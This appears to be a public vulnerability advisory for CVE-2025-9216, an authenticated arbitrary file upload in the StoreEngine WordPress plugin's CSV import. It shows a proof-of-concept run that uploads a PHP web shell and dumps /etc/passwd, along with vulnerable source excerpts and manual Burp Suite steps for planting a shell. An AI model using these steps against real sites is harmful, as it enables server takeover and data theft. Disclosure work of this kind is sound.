CVE-2025-9216
The StoreEngine plugin contains a vulnerability in it’s CSV Import/Export feature that allows any authenticated user (subscriber, author, editor, etc.) to upload arbitrary files and gain remote code execution. The vulnerability stems from two security flaws: (1) the CSV import endpoint lacks proper file validation checks, permission checks, and only relies on nonce verification for security, and (2) the storeengine_nonce
is exposed to ALL frontend users through the plugin’s JavaScript. This combination allows any authenticated user to extract the nonce from frontend pages and use it to upload PHP web shells via the storeengine_csv/import
endpoint, effectively granting subscriber+ users the ability to execute arbitrary code on the server.
TL;DR Exploits
- A POC CVE-2025-9216.py is provided to demonstrate an administrator uploading a web shell named
omg.php
.
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
Details
Vulnerable File Upload Function
The storeengine_csv/import
AJAX action calls the import()
function on line 51 of /wp-content/plugins/storeengine/addons/csv/ajax/import.php
, which lacks proper permission checks and file type validation:
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
The function only uses sanitize_file_name()
to clean the filename but does not perform any file type validation or capability checks. This allows uploading any file type, including PHP files that can be executed by the web server.
Nonce Exposure Vulnerability
The storeengine_nonce
is exposed to ALL frontend users through the plugin’s JavaScript. This occurs in the _get_script_data()
method on line 279 of /wp-content/plugins/storeengine/includes/assets.php
:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
This nonce is then localized to frontend JavaScript via the frontend_scripts()
method on line 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
Nonce Verification
The nonce is verified in the AbstractRequestHandler::check_permission()
method on line 510 of /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php
:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
This combination allows any authenticated user to upload arbitrary files, including PHP web shells for remote code execution.
Manual Reproduction
- Login to the admin panel and navigate to the StoreEngine plugin.
- Go to the CSV Import section (if available in the admin interface).
- Start up Burp Suite or a similar tool and begin intercepting the traffic.
- Attempt to upload a file and intercept the
POST
request to/wp-admin/admin-ajax.php
calling thestoreengine_csv/import
action. - Modify the request to include an arbitrary file, in the example below we’re uploading a PHP web shell.
- Send the request and receive
{"success":true,"data":{"filename":"shell.php"}}
. - Browse the web shell at
https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php
and execute code.